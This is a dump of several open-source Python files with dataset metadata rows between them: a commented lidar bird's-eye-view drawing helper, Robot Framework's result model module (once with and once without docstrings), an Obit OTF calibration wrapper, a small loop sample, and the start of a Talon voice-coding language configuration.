# cv2.putText(img, label, tuple(loc), font, 0.7, color, thickness,
# font_line_type, False)
# return img
# def draw_box_in_bev(img,
# coors_range,
# boxes,
# color,
# thickness=1,
# labels=None,
# label_color=None):
# """
# Args:
# boxes: center format.
# """
# coors_range = np.array(coors_range)
# bev_corners = box_np_ops.center_to_corner_box2d(
# boxes[:, [0, 1]], boxes[:, [3, 4]], boxes[:, 6])
# bev_corners -= coors_range[:2]
# bev_corners *= np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# standup = box_np_ops.corner_to_standup_nd(bev_corners)
# text_center = standup[:, 2:]
# text_center[:, 1] -= (standup[:, 3] - standup[:, 1]) / 2
# bev_lines = np.concatenate(
# [bev_corners[:, [0, 2, 3]], bev_corners[:, [1, 3, 0]]], axis=2)
# bev_lines = bev_lines.reshape(-1, 4)
# colors = np.tile(np.array(color).reshape(1, 3), [bev_lines.shape[0], 1])
# colors = colors.astype(np.int32)
# img = cv2_draw_lines(img, bev_lines, colors, thickness)
# if boxes.shape[1] == 9:
# # draw velocity arrows
# for box in boxes:
# velo = box[-2:]
# # velo = np.array([-np.sin(box[6]), -np.cos(box[6])])
# velo_unified = velo
# if np.isnan(velo_unified[0]):
# continue
# velo_unified = velo_unified * np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# center = box[:2] - coors_range[:2]
# center = center * np.array(
# img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2])
# center = tuple(map(lambda x: int(x), center))
# center2 = tuple(map(lambda x: int(x), center + velo_unified))
# cv2.arrowedLine(img, center, center2, color, thickness, tipLength=0.3)
# if labels is not None:
# if label_color is None:
# label_color = colors
# else:
# label_color = np.tile(
# np.array(label_color).reshape(1, 3), [bev_lines.shape[0], 1])
# label_color = label_color.astype(np.int32)
# img = cv2_draw_text(img, text_center, labels, label_color,
# thickness)
# return img
# def kitti_vis(points, boxes=None, labels=None):
# vis_voxel_size = [0.1, 0.1, 0.1]
# vis_point_range = [0, -30, -3, 64, 30, 1]
# bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range)
# if boxes is not None:
# bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels)
# return bev_map
# def nuscene_vis(points, boxes=None, labels=None):
# vis_voxel_size = [0.1, 0.1, 0.1]
# vis_point_range = [-50, -50, -5, 50, 50, 3]
# bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range)
# if boxes is not None:
# bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels)
# return bev_map | true | true |
f7f373c969946f20377f0b4dfeb16e23bda92915 | 17,739 | py | Python | src/robot/result/model.py | vokiput/robotframework | a93a66abcffc5282cad09fbda77b7c118754cd1e | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-12-29T05:31:08.000Z | 2021-12-29T05:31:08.000Z | src/robot/result/model.py | imust6226/robotframework | 08c56fef2ebc64d682c7f99acd77c480d8d0e028 | [
"ECL-2.0",
"Apache-2.0"
] | 26 | 2020-04-07T04:25:35.000Z | 2022-03-01T08:08:23.000Z | src/robot/result/model.py | imust6226/robotframework | 08c56fef2ebc64d682c7f99acd77c480d8d0e028 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # Copyright 2008-2015 Nokia Networks
# Copyright 2016- Robot Framework Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Module implementing result related model objects.
During test execution these objects are created internally by various runners.
At that time they can inspected and modified by listeners__.
When results are parsed from XML output files after execution to be able to
create logs and reports, these objects are created by the
:func:`~.resultbuilder.ExecutionResult` factory method.
At that point they can be inspected and modified by `pre-Rebot modifiers`__.
The :func:`~.resultbuilder.ExecutionResult` factory method can also be used
by custom scripts and tools. In such usage it is often easiest to inspect and
modify these objects using the :mod:`visitor interface <robot.model.visitor>`.
__ http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#listener-interface
__ http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#programmatic-modification-of-results
"""
from collections import OrderedDict
from itertools import chain
import warnings
from robot import model
from robot.model import BodyItem, Keywords, TotalStatisticsBuilder
from robot.utils import get_elapsed_time, setter
from .configurer import SuiteConfigurer
from .messagefilter import MessageFilter
from .modeldeprecation import deprecated, DeprecatedAttributesMixin
from .keywordremover import KeywordRemover
from .suiteteardownfailed import SuiteTeardownFailed, SuiteTeardownFailureHandler
class Body(model.BaseBody):
__slots__ = []
class ForIterations(model.BaseBody):
for_iteration_class = None
__slots__ = []
def create_iteration(self, *args, **kwargs):
return self.append(self.for_iteration_class(*args, **kwargs))
@ForIterations.register
@Body.register
class Message(model.Message):
__slots__ = []
class StatusMixin:
__slots__ = []
PASS = 'PASS'
FAIL = 'FAIL'
SKIP = 'SKIP'
NOT_RUN = 'NOT RUN'
NOT_SET = 'NOT SET'
@property
def elapsedtime(self):
"""Total execution time in milliseconds."""
return get_elapsed_time(self.starttime, self.endtime)
@property
def passed(self):
"""``True`` when :attr:`status` is 'PASS', ``False`` otherwise."""
return self.status == self.PASS
@passed.setter
def passed(self, passed):
self.status = self.PASS if passed else self.FAIL
@property
def failed(self):
"""``True`` when :attr:`status` is 'FAIL', ``False`` otherwise."""
return self.status == self.FAIL
@failed.setter
def failed(self, failed):
self.status = self.FAIL if failed else self.PASS
@property
def skipped(self):
"""``True`` when :attr:`status` is 'SKIP', ``False`` otherwise.
Setting to ``False`` value is ambiguous and raises an exception.
"""
return self.status == self.SKIP
@skipped.setter
def skipped(self, skipped):
if not skipped:
raise ValueError("`skipped` value must be truthy, got '%s'." % skipped)
self.status = self.SKIP
@property
def not_run(self):
"""``True`` when :attr:`status` is 'NOT RUN', ``False`` otherwise.
Setting to ``False`` value is ambiguous and raises an exception.
"""
return self.status == self.NOT_RUN
@not_run.setter
def not_run(self, not_run):
if not not_run:
raise ValueError("`not_run` value must be truthy, got '%s'." % not_run)
self.status = self.NOT_RUN
@ForIterations.register
class ForIteration(BodyItem, StatusMixin, DeprecatedAttributesMixin):
"""Represents one FOR loop iteration."""
type = BodyItem.FOR_ITERATION
body_class = Body
repr_args = ('variables',)
__slots__ = ['variables', 'status', 'starttime', 'endtime', 'doc']
def __init__(self, variables=None, status='FAIL', starttime=None, endtime=None,
doc='', parent=None):
self.variables = variables or OrderedDict()
self.parent = parent
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
self.body = None
@setter
def body(self, body):
return self.body_class(self, body)
def visit(self, visitor):
visitor.visit_for_iteration(self)
@property
@deprecated
def name(self):
return ', '.join('%s = %s' % item for item in self.variables.items())
@Body.register
class For(model.For, StatusMixin, DeprecatedAttributesMixin):
body_class = ForIterations
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, variables=(), flavor='IN', values=(), status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(variables, flavor, values, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
return '%s %s [ %s ]' % (' | '.join(self.variables), self.flavor,
' | '.join(self.values))
class IfBranch(model.IfBranch, StatusMixin, DeprecatedAttributesMixin):
body_class = Body
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, type=BodyItem.IF, condition=None, status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(type, condition, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
return self.condition
@Body.register
class If(model.If, StatusMixin, DeprecatedAttributesMixin):
branch_class = IfBranch
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None):
super().__init__(parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
class TryBranch(model.TryBranch, StatusMixin, DeprecatedAttributesMixin):
body_class = Body
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, type=BodyItem.TRY, patterns=(), variable=None, status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(type, patterns, variable, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
patterns = ' | '.join(self.patterns)
as_var = f'AS {self.variable}' if self.variable else ''
sep = ' ' if patterns and as_var else ''
return f'{patterns}{sep}{as_var}'
@Body.register
class Try(model.Try, StatusMixin, DeprecatedAttributesMixin):
branch_class = TryBranch
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None):
super().__init__(parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@Body.register
class Return(model.Return, StatusMixin, DeprecatedAttributesMixin):
__slots__ = ['status', 'starttime', 'endtime']
def __init__(self, values=(), status='FAIL', starttime=None, endtime=None, parent=None):
super().__init__(values, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
# FIXME: Remove attributes.
@property
@deprecated
def args(self):
return self.values
@property
@deprecated
def doc(self):
return ''
@ForIterations.register
@Body.register
class Keyword(model.Keyword, StatusMixin):
"""Represents results of a single keyword.
See the base class for documentation of attributes not documented here.
"""
body_class = Body
__slots__ = ['kwname', 'libname', 'status', 'starttime', 'endtime', 'message',
'sourcename']
def __init__(self, kwname='', libname='', doc='', args=(), assign=(), tags=(),
timeout=None, type=BodyItem.KEYWORD, status='FAIL', starttime=None,
endtime=None, parent=None, sourcename=None):
super().__init__(None, doc, args, assign, tags, timeout, type, parent)
#: Name of the keyword without library or resource name.
self.kwname = kwname
#: Name of the library or resource containing this keyword.
self.libname = libname
#: Execution status as a string. ``PASS``, ``FAIL``, ``SKIP`` or ``NOT RUN``.
self.status = status
#: Keyword execution start time in format ``%Y%m%d %H:%M:%S.%f``.
self.starttime = starttime
#: Keyword execution end time in format ``%Y%m%d %H:%M:%S.%f``.
self.endtime = endtime
#: Keyword status message. Used only if suite teardowns fails.
self.message = ''
#: Original name of keyword with embedded arguments.
self.sourcename = sourcename
self.body = None
@setter
def body(self, body):
"""Child keywords and messages as a :class:`~.Body` object."""
return self.body_class(self, body)
@property
def keywords(self):
"""Deprecated since Robot Framework 4.0.
Use :attr:`body` or :attr:`teardown` instead.
"""
keywords = self.body.filter(messages=False)
if self.teardown:
keywords.append(self.teardown)
return Keywords(self, keywords)
@keywords.setter
def keywords(self, keywords):
Keywords.raise_deprecation_error()
@property
def messages(self):
"""Keyword's messages.
Starting from Robot Framework 4.0 this is a list generated from messages
in :attr:`body`.
"""
return self.body.filter(messages=True)
@property
def children(self):
"""List of child keywords and messages in creation order.
Deprecated since Robot Framework 4.0. Use :att:`body` instead.
"""
warnings.warn("'Keyword.children' is deprecated. Use 'Keyword.body' instead.")
return list(self.body)
@property
def name(self):
"""Keyword name in format ``libname.kwname``.
Just ``kwname`` if :attr:`libname` is empty. In practice that is the
case only with user keywords in the same file as the executed test case
or test suite.
Cannot be set directly. Set :attr:`libname` and :attr:`kwname`
separately instead.
"""
if not self.libname:
return self.kwname
return '%s.%s' % (self.libname, self.kwname)
@name.setter
def name(self, name):
if name is not None:
raise AttributeError("Cannot set 'name' attribute directly. "
"Set 'kwname' and 'libname' separately instead.")
self.kwname = None
self.libname = None
class TestCase(model.TestCase, StatusMixin):
"""Represents results of a single test case.
See the base class for documentation of attributes not documented here.
"""
__slots__ = ['status', 'message', 'starttime', 'endtime']
body_class = Body
fixture_class = Keyword
def __init__(self, name='', doc='', tags=None, timeout=None, status='FAIL',
message='', starttime=None, endtime=None, parent=None):
super().__init__(name, doc, tags, timeout, parent)
#: Status as a string ``PASS`` or ``FAIL``. See also :attr:`passed`.
self.status = status
#: Test message. Typically a failure message but can be set also when
#: test passes.
self.message = message
#: Test case execution start time in format ``%Y%m%d %H:%M:%S.%f``.
self.starttime = starttime
#: Test case execution end time in format ``%Y%m%d %H:%M:%S.%f``.
self.endtime = endtime
@property
def not_run(self):
return False
@property
def critical(self):
warnings.warn("'TestCase.critical' is deprecated and always returns 'True'.")
return True
class TestSuite(model.TestSuite, StatusMixin):
"""Represents results of a single test suite.
See the base class for documentation of attributes not documented here.
"""
__slots__ = ['message', 'starttime', 'endtime']
test_class = TestCase
fixture_class = Keyword
def __init__(self, name='', doc='', metadata=None, source=None, message='',
starttime=None, endtime=None, rpa=False, parent=None):
super().__init__(name, doc, metadata, source, rpa, parent)
#: Possible suite setup or teardown error message.
self.message = message
#: Suite execution start time in format ``%Y%m%d %H:%M:%S.%f``.
self.starttime = starttime
#: Suite execution end time in format ``%Y%m%d %H:%M:%S.%f``.
self.endtime = endtime
@property
def passed(self):
"""``True`` if no test has failed but some have passed, ``False`` otherwise."""
return self.status == self.PASS
@property
def failed(self):
"""``True`` if any test has failed, ``False`` otherwise."""
return self.status == self.FAIL
@property
def skipped(self):
"""``True`` if there are no passed or failed tests, ``False`` otherwise."""
return self.status == self.SKIP
@property
def not_run(self):
return False
@property
def status(self):
"""'PASS', 'FAIL' or 'SKIP' depending on test statuses.
- If any test has failed, status is 'FAIL'.
- If no test has failed but at least some test has passed, status is 'PASS'.
- If there are no failed or passed tests, status is 'SKIP'. This covers both
the case when all tests have been skipped and when there are no tests.
"""
stats = self.statistics # Local variable avoids recreating stats.
if stats.failed:
return self.FAIL
if stats.passed:
return self.PASS
return self.SKIP
@property
def statistics(self):
"""Suite statistics as a :class:`~robot.model.totalstatistics.TotalStatistics` object.
Recreated every time this property is accessed, so saving the results
to a variable and inspecting it is often a good idea::
stats = suite.statistics
print(stats.failed)
print(stats.total)
print(stats.message)
"""
return TotalStatisticsBuilder(self, self.rpa).stats
@property
def full_message(self):
"""Combination of :attr:`message` and :attr:`stat_message`."""
if not self.message:
return self.stat_message
return '%s\n\n%s' % (self.message, self.stat_message)
@property
def stat_message(self):
"""String representation of the :attr:`statistics`."""
return self.statistics.message
@property
def elapsedtime(self):
"""Total execution time in milliseconds."""
if self.starttime and self.endtime:
return get_elapsed_time(self.starttime, self.endtime)
return sum(child.elapsedtime for child in
chain(self.suites, self.tests, (self.setup, self.teardown)))
def remove_keywords(self, how):
"""Remove keywords based on the given condition.
:param how: What approach to use when removing keywords. Either
``ALL``, ``PASSED``, ``FOR``, ``WUKS``, or ``NAME:<pattern>``.
For more information about the possible values see the documentation
of the ``--removekeywords`` command line option.
"""
self.visit(KeywordRemover(how))
def filter_messages(self, log_level='TRACE'):
"""Remove log messages below the specified ``log_level``."""
self.visit(MessageFilter(log_level))
def configure(self, **options):
"""A shortcut to configure a suite using one method call.
Can only be used with the root test suite.
:param options: Passed to
:class:`~robot.result.configurer.SuiteConfigurer` that will then
set suite attributes, call :meth:`filter`, etc. as needed.
Example::
suite.configure(remove_keywords='PASSED',
doc='Smoke test results.')
Not to be confused with :meth:`config` method that suites, tests,
and keywords have to make it possible to set multiple attributes in
one call.
"""
model.TestSuite.configure(self) # Parent validates call is allowed.
self.visit(SuiteConfigurer(**options))
def handle_suite_teardown_failures(self):
"""Internal usage only."""
self.visit(SuiteTeardownFailureHandler())
def suite_teardown_failed(self, error):
"""Internal usage only."""
self.visit(SuiteTeardownFailed(error))
def suite_teardown_skipped(self, message):
"""Internal usage only."""
self.visit(SuiteTeardownFailed(message, skipped=True))
| 33.660342 | 116 | 0.638818 |
from collections import OrderedDict
from itertools import chain
import warnings
from robot import model
from robot.model import BodyItem, Keywords, TotalStatisticsBuilder
from robot.utils import get_elapsed_time, setter
from .configurer import SuiteConfigurer
from .messagefilter import MessageFilter
from .modeldeprecation import deprecated, DeprecatedAttributesMixin
from .keywordremover import KeywordRemover
from .suiteteardownfailed import SuiteTeardownFailed, SuiteTeardownFailureHandler
class Body(model.BaseBody):
__slots__ = []
class ForIterations(model.BaseBody):
for_iteration_class = None
__slots__ = []
def create_iteration(self, *args, **kwargs):
return self.append(self.for_iteration_class(*args, **kwargs))
@ForIterations.register
@Body.register
class Message(model.Message):
__slots__ = []
class StatusMixin:
__slots__ = []
PASS = 'PASS'
FAIL = 'FAIL'
SKIP = 'SKIP'
NOT_RUN = 'NOT RUN'
NOT_SET = 'NOT SET'
@property
def elapsedtime(self):
return get_elapsed_time(self.starttime, self.endtime)
@property
def passed(self):
return self.status == self.PASS
@passed.setter
def passed(self, passed):
self.status = self.PASS if passed else self.FAIL
@property
def failed(self):
return self.status == self.FAIL
@failed.setter
def failed(self, failed):
self.status = self.FAIL if failed else self.PASS
@property
def skipped(self):
return self.status == self.SKIP
@skipped.setter
def skipped(self, skipped):
if not skipped:
raise ValueError("`skipped` value must be truthy, got '%s'." % skipped)
self.status = self.SKIP
@property
def not_run(self):
return self.status == self.NOT_RUN
@not_run.setter
def not_run(self, not_run):
if not not_run:
raise ValueError("`not_run` value must be truthy, got '%s'." % not_run)
self.status = self.NOT_RUN
@ForIterations.register
class ForIteration(BodyItem, StatusMixin, DeprecatedAttributesMixin):
type = BodyItem.FOR_ITERATION
body_class = Body
repr_args = ('variables',)
__slots__ = ['variables', 'status', 'starttime', 'endtime', 'doc']
def __init__(self, variables=None, status='FAIL', starttime=None, endtime=None,
doc='', parent=None):
self.variables = variables or OrderedDict()
self.parent = parent
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
self.body = None
@setter
def body(self, body):
return self.body_class(self, body)
def visit(self, visitor):
visitor.visit_for_iteration(self)
@property
@deprecated
def name(self):
return ', '.join('%s = %s' % item for item in self.variables.items())
@Body.register
class For(model.For, StatusMixin, DeprecatedAttributesMixin):
body_class = ForIterations
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, variables=(), flavor='IN', values=(), status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(variables, flavor, values, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
return '%s %s [ %s ]' % (' | '.join(self.variables), self.flavor,
' | '.join(self.values))
class IfBranch(model.IfBranch, StatusMixin, DeprecatedAttributesMixin):
body_class = Body
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, type=BodyItem.IF, condition=None, status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(type, condition, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
return self.condition
@Body.register
class If(model.If, StatusMixin, DeprecatedAttributesMixin):
branch_class = IfBranch
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None):
super().__init__(parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
class TryBranch(model.TryBranch, StatusMixin, DeprecatedAttributesMixin):
body_class = Body
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, type=BodyItem.TRY, patterns=(), variable=None, status='FAIL',
starttime=None, endtime=None, doc='', parent=None):
super().__init__(type, patterns, variable, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@property
@deprecated
def name(self):
patterns = ' | '.join(self.patterns)
as_var = f'AS {self.variable}' if self.variable else ''
sep = ' ' if patterns and as_var else ''
return f'{patterns}{sep}{as_var}'
@Body.register
class Try(model.Try, StatusMixin, DeprecatedAttributesMixin):
branch_class = TryBranch
__slots__ = ['status', 'starttime', 'endtime', 'doc']
def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None):
super().__init__(parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
self.doc = doc
@Body.register
class Return(model.Return, StatusMixin, DeprecatedAttributesMixin):
__slots__ = ['status', 'starttime', 'endtime']
def __init__(self, values=(), status='FAIL', starttime=None, endtime=None, parent=None):
super().__init__(values, parent)
self.status = status
self.starttime = starttime
self.endtime = endtime
@property
@deprecated
def args(self):
return self.values
@property
@deprecated
def doc(self):
return ''
@ForIterations.register
@Body.register
class Keyword(model.Keyword, StatusMixin):
body_class = Body
__slots__ = ['kwname', 'libname', 'status', 'starttime', 'endtime', 'message',
'sourcename']
def __init__(self, kwname='', libname='', doc='', args=(), assign=(), tags=(),
timeout=None, type=BodyItem.KEYWORD, status='FAIL', starttime=None,
endtime=None, parent=None, sourcename=None):
super().__init__(None, doc, args, assign, tags, timeout, type, parent)
self.kwname = kwname
self.libname = libname
self.status = status
self.starttime = starttime
self.endtime = endtime
self.message = ''
self.sourcename = sourcename
self.body = None
@setter
def body(self, body):
return self.body_class(self, body)
@property
def keywords(self):
keywords = self.body.filter(messages=False)
if self.teardown:
keywords.append(self.teardown)
return Keywords(self, keywords)
@keywords.setter
def keywords(self, keywords):
Keywords.raise_deprecation_error()
@property
def messages(self):
return self.body.filter(messages=True)
@property
def children(self):
warnings.warn("'Keyword.children' is deprecated. Use 'Keyword.body' instead.")
return list(self.body)
@property
def name(self):
if not self.libname:
return self.kwname
return '%s.%s' % (self.libname, self.kwname)
@name.setter
def name(self, name):
if name is not None:
raise AttributeError("Cannot set 'name' attribute directly. "
"Set 'kwname' and 'libname' separately instead.")
self.kwname = None
self.libname = None
class TestCase(model.TestCase, StatusMixin):
__slots__ = ['status', 'message', 'starttime', 'endtime']
body_class = Body
fixture_class = Keyword
def __init__(self, name='', doc='', tags=None, timeout=None, status='FAIL',
message='', starttime=None, endtime=None, parent=None):
super().__init__(name, doc, tags, timeout, parent)
self.status = status
self.message = message
self.starttime = starttime
self.endtime = endtime
@property
def not_run(self):
return False
@property
def critical(self):
warnings.warn("'TestCase.critical' is deprecated and always returns 'True'.")
return True
class TestSuite(model.TestSuite, StatusMixin):
__slots__ = ['message', 'starttime', 'endtime']
test_class = TestCase
fixture_class = Keyword
def __init__(self, name='', doc='', metadata=None, source=None, message='',
starttime=None, endtime=None, rpa=False, parent=None):
super().__init__(name, doc, metadata, source, rpa, parent)
self.message = message
self.starttime = starttime
self.endtime = endtime
@property
def passed(self):
return self.status == self.PASS
@property
def failed(self):
return self.status == self.FAIL
@property
def skipped(self):
return self.status == self.SKIP
@property
def not_run(self):
return False
@property
def status(self):
stats = self.statistics
if stats.failed:
return self.FAIL
if stats.passed:
return self.PASS
return self.SKIP
@property
def statistics(self):
return TotalStatisticsBuilder(self, self.rpa).stats
@property
def full_message(self):
if not self.message:
return self.stat_message
return '%s\n\n%s' % (self.message, self.stat_message)
@property
def stat_message(self):
return self.statistics.message
@property
def elapsedtime(self):
if self.starttime and self.endtime:
return get_elapsed_time(self.starttime, self.endtime)
return sum(child.elapsedtime for child in
chain(self.suites, self.tests, (self.setup, self.teardown)))
def remove_keywords(self, how):
self.visit(KeywordRemover(how))
def filter_messages(self, log_level='TRACE'):
self.visit(MessageFilter(log_level))
def configure(self, **options):
model.TestSuite.configure(self)
self.visit(SuiteConfigurer(**options))
def handle_suite_teardown_failures(self):
self.visit(SuiteTeardownFailureHandler())
def suite_teardown_failed(self, error):
self.visit(SuiteTeardownFailed(error))
def suite_teardown_skipped(self, message):
self.visit(SuiteTeardownFailed(message, skipped=True))
| true | true |
f7f3742921a1a4d8e91a398724ce81244fe41472 | 2,687 | py | Python | ObitSystem/ObitSD/python/OTFSoln2Cal.py | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | 5 | 2019-08-26T06:53:08.000Z | 2020-10-20T01:08:59.000Z | ObitSystem/ObitSD/python/OTFSoln2Cal.py | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | null | null | null | ObitSystem/ObitSD/python/OTFSoln2Cal.py | sarrvesh/Obit | e4ce6029e9beb2a8c0316ee81ea710b66b2b7986 | [
"Linux-OpenIB"
] | 8 | 2017-08-29T15:12:32.000Z | 2022-03-31T12:16:08.000Z | # $Id$
#-----------------------------------------------------------------------
# Copyright (C) 2004-2013
# Associated Universities, Inc. Washington DC, USA.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public
# License along with this program; if not, write to the Free
# Software Foundation, Inc., 675 Massachusetts Ave, Cambridge,
# MA 02139, USA.
#
# Correspondence concerning this software should be addressed as follows:
# Internet email: bcotton@nrao.edu.
# Postal address: William Cotton
# National Radio Astronomy Observatory
# 520 Edgemont Road
# Charlottesville, VA 22903-2475 USA
#-----------------------------------------------------------------------
# Python ObitOTFSoln2Cal utilities
import Obit, OTF, OErr, Table
def POTFSoln2Cal(inOTF, outOTF, err):
""" Apply a Soln table to a Cal table and write a new Cal table
Calibration parameters are on the inOTF info member.
If an input Cal table is specified then apply Solutions in this routine,
if no input Cal table, then copy the Soln table to a new Cal table
in ObitOTFSolnCopyCal.
"SOLNUSE" int scalar Input Solution table version
"CALIN" int scalar Input Cal table version
iff <0 then no input Cal table, copy Soln records to output.
"CALOUT" int scalar) Output Calibration table version
returns updated OTFCal table
inOTF = Python Obit OTF from which the solution table is appended
outOTF = Python Obit OTF on which the calibration tables reside
err = Python Obit Error/message stack
"""
################################################################
# Checks
if not OTF.PIsA(inOTF):
raise TypeError,"inOTF MUST be a Python Obit OTF"
if not OTF.PIsA(outOTF):
raise TypeError,"outOTF MUST be a Python Obit OTF"
if not OErr.OErrIsA(err):
raise TypeError,"err MUST be a Python ObitErr"
#
out = Table.Table(" ")
if err.isErr: # existing error?
return out
out.me = Obit.OTFSoln2Cal(inOTF.me, outOTF.me, err.me)
return out
# end POTFSoln2Cal
| 40.712121 | 76 | 0.631932 |
import Obit, OTF, OErr, Table
def POTFSoln2Cal(inOTF, outOTF, err):
""" Apply a Soln table to a Cal table and write a new Cal table
Calibration parameters are on the inOTF info member.
If an input Cal table is specified then apply Solutions in this routine,
if no input Cal table, then copy the Soln table to a new Cal table
in ObitOTFSolnCopyCal.
"SOLNUSE" int scalar Input Solution table version
"CALIN" int scalar Input Cal table version
iff <0 then no input Cal table, copy Soln records to output.
"CALOUT" int scalar) Output Calibration table version
returns updated OTFCal table
inOTF = Python Obit OTF from which the solution table is appended
outOTF = Python Obit OTF on which the calibration tables reside
err = Python Obit Error/message stack
"""
| false | true |
f7f374d86bf9178d17ca8bbe5bfe63526ad2de8f | 75 | py | Python | tests/python_output/output_sample_8.py | aeroshev/CMP | f4366972dfd752833094920728e4ce11ee58feae | [
"MIT"
] | null | null | null | tests/python_output/output_sample_8.py | aeroshev/CMP | f4366972dfd752833094920728e4ce11ee58feae | [
"MIT"
] | null | null | null | tests/python_output/output_sample_8.py | aeroshev/CMP | f4366972dfd752833094920728e4ce11ee58feae | [
"MIT"
] | null | null | null | import numpy as np
n = 10
f = n
while n > 1:
n = n - 1
f = f * n
| 8.333333 | 18 | 0.44 | import numpy as np
n = 10
f = n
while n > 1:
n = n - 1
f = f * n
| true | true |
f7f375b025da2e329822aa67a7676a6dff90221d | 9,281 | py | Python | lang/python/python.py | joshpearce/knausj_talon | 44c49806c6e53b2e5fe90fc24fd06a1fc5125883 | [
"MIT"
] | 3 | 2020-04-07T10:44:31.000Z | 2022-01-30T17:04:14.000Z | lang/python/python.py | joshpearce/knausj_talon | 44c49806c6e53b2e5fe90fc24fd06a1fc5125883 | [
"MIT"
] | 4 | 2022-01-30T17:48:02.000Z | 2022-02-13T19:50:45.000Z | lang/python/python.py | joshpearce/knausj_talon | 44c49806c6e53b2e5fe90fc24fd06a1fc5125883 | [
"MIT"
] | 1 | 2021-05-26T14:43:11.000Z | 2021-05-26T14:43:11.000Z | import re
from talon import Context, Module, actions, settings
mod = Module()
ctx = Context()
ctx.matches = r"""
mode: user.python
mode: user.auto_lang
and code.language: python
"""
ctx.lists["user.code_functions"] = {
"enumerate": "enumerate",
"integer": "int",
"length": "len",
"list": "list",
"print": "print",
"range": "range",
"set": "set",
"split": "split",
"string": "str",
"update": "update",
}
"""a set of fields used in python docstrings that will follow the
reStructuredText format"""
docstring_fields = {
"class": ":class:",
"function": ":func:",
"parameter": ":param:",
"raise": ":raise:",
"returns": ":return:",
"type": ":type:",
"return type": ":rtype:",
# these are sphinx-specific
"see also": ".. seealso:: ",
"notes": ".. notes:: ",
"warning": ".. warning:: ",
"todo": ".. todo:: ",
}
mod.list("python_docstring_fields", desc="python docstring fields")
ctx.lists["user.python_docstring_fields"] = docstring_fields
type_list = {
"boolean": "bool",
"integer": "int",
"string": "str",
"none": "None",
"dick": "Dict",
"float": "float",
"any": "Any",
"tuple": "Tuple",
"union": "UnionAny",
"iterable": "Iterable",
"vector": "Vector",
"bytes": "bytes",
"sequence": "Sequence",
"callable": "Callable",
"list": "List",
"no return": "NoReturn",
}
mod.list("python_type_list", desc="python types")
ctx.lists["user.python_type_list"] = type_list
exception_list = [
"BaseException",
"SystemExit",
"KeyboardInterrupt",
"GeneratorExit",
"Exception",
"StopIteration",
"StopAsyncIteration",
"ArithmeticError",
"FloatingPointError",
"OverflowError",
"ZeroDivisionError",
"AssertionError",
"AttributeError",
"BufferError",
"EOFError",
"ImportError",
"ModuleNotFoundError",
"LookupError",
"IndexError",
"KeyError",
"MemoryError",
"NameError",
"UnboundLocalError",
"OSError",
"BlockingIOError",
"ChildProcessError",
"ConnectionError",
"BrokenPipeError",
"ConnectionAbortedError",
"ConnectionRefusedError",
"ConnectionResetError",
"FileExistsError",
"FileNotFoundError",
"InterruptedError",
"IsADirectoryError",
